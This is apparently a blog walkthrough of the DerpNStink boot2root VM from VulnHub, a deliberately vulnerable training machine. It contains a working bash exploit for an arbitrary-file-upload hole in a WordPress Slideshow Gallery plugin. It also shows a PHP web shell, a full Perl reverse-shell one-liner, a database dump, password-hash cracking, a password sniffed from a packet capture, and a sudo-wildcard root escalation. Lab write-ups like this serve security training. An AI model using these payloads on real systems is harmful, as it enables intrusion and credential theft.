This post documents the complete walkthrough of DerpNStink: 1, a boot2root VM created by Bryan Smith, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.

On this post


Mr. Derp and Uncle Stinky are two system administrators starting their own company, DerpNStink. Instead of hiring qualified professionals to build up their IT landscape, they decide to hack together their own system which is almost ready to go live…

Information Gathering

Let’s kick this off with a nmap scan to establish the services available in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt
21/tcp open  ftp     syn-ack ttl 64 vsftpd 3.0.2
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 12:4e:f8:6e:7b:6c:c6:d8:7c:d8:29:77:d1:0b:eb:72 (DSA)
|   2048 72:c5:1c:5f:81:7b:dd:1a:fb:2e:59:67:fe:a6:91:2f (RSA)
|   256 06:77:0f:4b:96:0a:3a:2c:3b:f0:8c:2b:57:b5:97:bc (ECDSA)
|_  256 28:e8:ed:7c:60:7f:19:6c:e3:24:79:31:ca:ab:5d:2d (EdDSA)
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.7 ((Ubuntu))
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD POST
| http-robots.txt: 2 disallowed entries
|_/php/ /temporary/
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: DeRPnStiNK

My usual game plan is to target the web service first whenever nmap tells me robots.txt exists. Let’s start with that.

HTML Source Code

I manage to capture the first flag using curl and some grep-fu on the HTML source code. Easy.

# curl -s | grep -P 'href=|src=|<!?--' | sed -r 's/^\s+//'
<link rel="stylesheet" href="css/style.css">
<script type="text/javascript" src=""></script>
<script type="text/javascript" src="/is/js/release/kveik.1.4.24.js?1"></script>
<script type="text/info" src="/webnotes/info.txt"></script>
<!-- particles.js container -->
<!-- stats - count particles -->
<img src="derp.png">
<img src="stinky.png">
<script src='js/particles.min.js'></script>
<script src="js/index.js"></script>
<--flag1(52E37291AEDF6A46D7D0BB8A6312F4F9F1AA4975C248C3F0E008CBA09D6E9166) -->

Web Notes

I notice something else from the HTML source code as well—/webnotes

# curl
HTTP/1.1 200 OK
Date: Tue, 27 Mar 2018 10:04:12 GMT
Server: Apache/2.4.7 (Ubuntu)
Last-Modified: Tue, 09 Jan 2018 17:28:41 GMT
ETag: "ebb-5625b3ef406ca"
Accept-Ranges: bytes
Content-Length: 3771
Vary: Accept-Encoding
Content-Type: text/html

[[email protected] /var/www/html ]$ whois derpnstink.local
   Domain Name: derpnstink.local
   Registry Domain ID: 2125161577_DOMAIN_COM-VRSN
   Registrar WHOIS Server:
   Registrar URL:
   Updated Date: 2017-11-12T16:13:16Z
   Creation Date: 2017-11-12T16:13:16Z
   Registry Expiry Date: 2017-11-12T16:13:16Z
   Registrar: fakehosting, LLC
   Registrar IANA ID: 1337
   Registrar Abuse Contact Email: [email protected]
   Registrar Abuse Contact Phone:
   Domain Status: clientTransferProhibited

   DNSSEC: unsigned
   URL of the ICANN Whois Inaccuracy Complaint Form:
>>> Last update of whois database: 2017-11-12T16:13:16Z <<<

For more information on Whois status codes, please visit

NOTICE: The expiration date displayed in this record is the date the
registrar's sponsorship of the domain name registration in the registry is
currently set to expire. This date does not necessarily reflect the expiration
date of the domain name registrant's agreement with the sponsoring
registrar. Users may consult the sponsoring registrar's Whois database to
view the registrar's reported date of expiration for this registration.

TERMS OF USE: You are not authorized to access or query our Whois
database through the use of electronic processes that are high-volume and
automated except as reasonably necessary to register domain names or
modify existing registrations; the Data in VeriSign Global Registry
Services' ("VeriSign") Whois database is provided by VeriSign for
information purposes only, and to assist persons in obtaining information
about or related to a domain name registration record. VeriSign does not
guarantee its accuracy. By submitting a Whois query, you agree to abide
by the following terms of use: You agree that you may use this Data only
for lawful purposes and that under no circumstances will you use this Data
to: (1) allow, enable, or otherwise support the transmission of mass
unsolicited, commercial advertising or solicitations via e-mail, telephone,
or facsimile; or (2) enable high volume, automated, electronic processes
that apply to VeriSign (or its computer systems). The compilation,
repackaging, dissemination or other use of this Data is expressly
prohibited without the prior written consent of VeriSign. You agree not to
use electronic processes that are automated and high-volume to access or
query the Whois database except as reasonably necessary to register
domain names or modify existing registrations. VeriSign reserves the right
to restrict your access to the Whois database in its sole discretion to ensure
operational stability. VeriSign may restrict or terminate your access to the
Whois database for failure to abide by these terms of use. VeriSign
reserves the right to modify these terms at any time.

The Registry database contains ONLY .COM, .NET, .EDU domains and

[[email protected]: /var/www/html/php]~$ ping derpnstink.local
PING derpnstink.local ( 56(84) bytes of data.
64 bytes from localhost ( icmp_seq=1 ttl=64 time=0.015 ms
64 bytes from localhost ( icmp_seq=2 ttl=64 time=0.018 ms
64 bytes from localhost ( icmp_seq=3 ttl=64 time=0.025 ms
64 bytes from localhost ( icmp_seq=4 ttl=64 time=0.023 ms
64 bytes from localhost ( icmp_seq=5 ttl=64 time=0.022 ms
64 bytes from localhost ( icmp_seq=6 ttl=64 time=0.025 ms
64 bytes from localhost ( icmp_seq=7 ttl=64 time=0.026 ms
--- derpnstink.local ping statistics ---
7 packets transmitted, 7 received, 0% packet loss, time 5998ms
rtt min/avg/max/mdev = 0.015/0.022/0.026/0.003 ms
[email protected]:~$

The information from /webnotes tells us the following:

  • The FQDN of the host is derpnstink.local; and
  • DocumentRoot is at /var/www/html; and
  • User stinky exists.

Directory/File Enumeration

I’m able to find these directories with gobuster and /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt.

Gobuster v1.2                OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   :
[+] Threads      : 10
[+] Wordlist     : /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes : 204,301,302,307,200
[+] Expanded     : true
===================================================== (Status: 301) (Status: 301) (Status: 301) (Status: 301) (Status: 301) (Status: 301)

Both /php and /temporary are already in robots.txt.

It appears that /weblog is the root directory for WordPress, and there’s a need to place the FQDN derpnstink.local in /etc/hosts as seen in the redirection below.

curl -i
HTTP/1.1 301 Moved Permanently
Date: Tue, 27 Mar 2018 10:13:50 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.22
X-Pingback: http://derpnstink.local/weblog/xmlrpc.php
Location: http://derpnstink.local/weblog/
Content-Length: 0
Content-Type: text/html; charset=UTF-8

There’s another hint from /webnotes/info.txt to do likewise.

<-- @stinky, make sure to update your hosts file with local dns so the new derpnstink blog can be reached before it goes live -->

I list down all the plugins installed in WordPress with wpscan, and I find a particular version (1.4.6) of the Slideshow Gallery plugin that has an arbitrary file upload vulnerability.

I wrote, a bash script to exploit the vulnerability, and to upload files.


# authenticate
curl \
    -s \
    -c cookie \
    -d "log=$USER&pwd=$PASS&wp-submit=Log" \

# exploit
curl \
    -s \
    -b cookie \
    -H "Expect:" \
    -o /dev/null \
    -F "Slide[id]=" \
    -F "Slide[order]=" \
    -F "Slide[title]=$(mktemp -u | sed -r 's/^.*tmp\.(.*)$/\1/')" \
    -F "Slide[description]=" \
    -F "Slide[showinfo]=both" \
    -F "Slide[iopacity]=70" \
    -F "Slide[galleries][]=1" \
    -F "Slide[type]=file" \
    -F "[email protected]$FILE;filename=$FILE;type=application/octet-stream" \
    -F "Slide[image_url]=" \
    -F "Slide[uselink]=N" \
    -F "Slide[link]=" \
    -F "Slide[linktarget]=self" \
    -F "submit=Save Slide" \

# cleanup
rm -rf cookie

I upload a simple PHP file that executes remote command, with the script.

# cat cmd.php
<pre><?php echo shell_exec($_GET['cmd']);?></pre>

# ./ cmd.php

The uploaded file is at http://derpnstink.local/weblog/wp-content/uploads/slideshow-gallery/cmd.php.

Low-Privilege Shell

After the upload, the next step is to trigger a reverse shell. Whenever possible, I like to use Perl for my reverse shell; Perl is widely available in most Linux distributions.

perl -e 'use Socket;$i="";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Since we are putting the above command to cmd.php, it’s best to urlencode it to avoid complications. The entire URL looks like this.


On my end, I set up my netcat listener and wait for the shell.


Let’s spawn a pseudo-TTY for better display and output control.


Database Dump

Now that I’ve access to a low-privilege shell, let’s dump the WordPress database. I should be able to locate the database configuration parameters in the WordPress directory.


$ cat wp-config.php
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'mysql');

Let’s proceed to dump and view the database.

$ mysqldump -uroot -pmysql wordpress > /tmp/dump.txt

I manage to capture the second flag, and discover WordPress password hashes from the dump.

INSERT INTO `wp_users` VALUES (1,'unclestinky','$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41','unclestinky','[email protected]','','2017-11-12 03:25:32','1510544888:$P$BQbCmzW/ICRqb1hU96nIVUFOlNMKJM1',0,'unclestinky',''),(2,'admin','$P$BgnU3VLAv.RWd3rdrkfVIuQr6mFvpd/','admin','[email protected]','','2017-11-13 04:29:35','',0,'admin','');

John the Ripper

Using John the Ripper with a wordlist like “rockyou” on Kali Linux, cracking WordPress password hashes is easy.

# john --format=phpass --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# john --show hashes.txt

Getting to South Park

Remember that we are still in the low-privileged shell? And since /etc/passwd is world-readable, let’s determine the users in the host.

$ cat /etc/passwd
stinky:x:1001:1001:Uncle Stinky,,,:/home/stinky:/bin/bash
ftp:x:118:126:ftp daemon,,,:/srv/ftp:/bin/false
mrderp:x:1000:1000:Mr. Derp,,,:/home/mrderp:/bin/bash

Let’s see if we can log in to Uncle Stinky’s account with the password (wedgie57).


I discover the third flag at /home/stinky/Desktop/flag.txt during enumeration of Uncle Stinky’s account.

Moving on, I uncover a conversation between Mr. Derp and Uncle Stinky. It appears that Mr. Derp can’t log in to WordPress and Uncle Stinky has captured network traffic to assist in troubleshooting the issue.

$ cd ~/ftp/files/network-logs
$ cat derpissues.txt
12:06 mrderp: hey i cant login to wordpress anymore. Can you look into it?
12:07 stinky: yeah. did you need a password reset?
12:07 mrderp: I think i accidently deleted my account
12:07 mrderp: i just need to logon once to make a change
12:07 stinky: im gonna packet capture so we can figure out whats going on
12:07 mrderp: that seems a bit overkill, but wtv
12:08 stinky: commence the sniffer!!!!
12:08 mrderp: -_-
12:10 stinky: fine derp, i think i fixed it for you though. cany you try to login?
12:11 mrderp: awesome it works!
12:12 stinky: we really are the best sysadmins #team
12:13 mrderp: i guess we are...
12:15 mrderp: alright I made the changes, feel free to decomission my account
12:20 stinky: done! yay
$ cd ~/Documents
$ tcpdump -nt -r derpissues.pcap -A 2>/dev/null | grep -P 'pwd='

Let’s log in to Mr. Derp’s account with the password (derpderpderpderpderpderpderp) we recover from the packet capture.


I also uncover a helpdesk ticket during enumeration of Mr. Derp’s account. Apparently, Mr. Derp has an issue with sudoer.

$ cd /support
$ cat troubleshooting.txt
On one particular machine I often need to run sudo commands every now and then. I am fine with entering password on sudo in most of the cases.

However i dont want to specify each command to allow

How can I exclude these commands from password protection to sudo?


Thank you for contacting the Client Support team. This message is to confirm that we have resolved and closed your ticket.

Please contact the Client Support team at if you have any further questions or issues.

Thank you for using our product.


We find the resolution of the helpdesk ticket at


Unbeknownst to poor Mr. Derp and Uncle Stinky, this is in fact the answer to privilege escalation.

Privilege Escalation

Assuming that mrderp ALL=(ALL) /home/mrderp/binaries/derpy* is in /etc/sudoers, we can take the following actions to gain root privileges.

$ mkdir -p /home/mrderp/binaries
$ echo -e '#!/usr/bin/env python\nimport os\nos.setuid(0)\nos.setgid(0)\nos.system("/bin/bash")' > /home/mrderp/binaries/derpy
$ chmod +x /home/mrderp/binaries/derpy
$ sudo /home/mrderp/binaries/derpy

And since we already know the password to Mr. Derp’s account.



The fourth flag is at /root/Desktop/flag.txt.



All the captured flags. :smirk: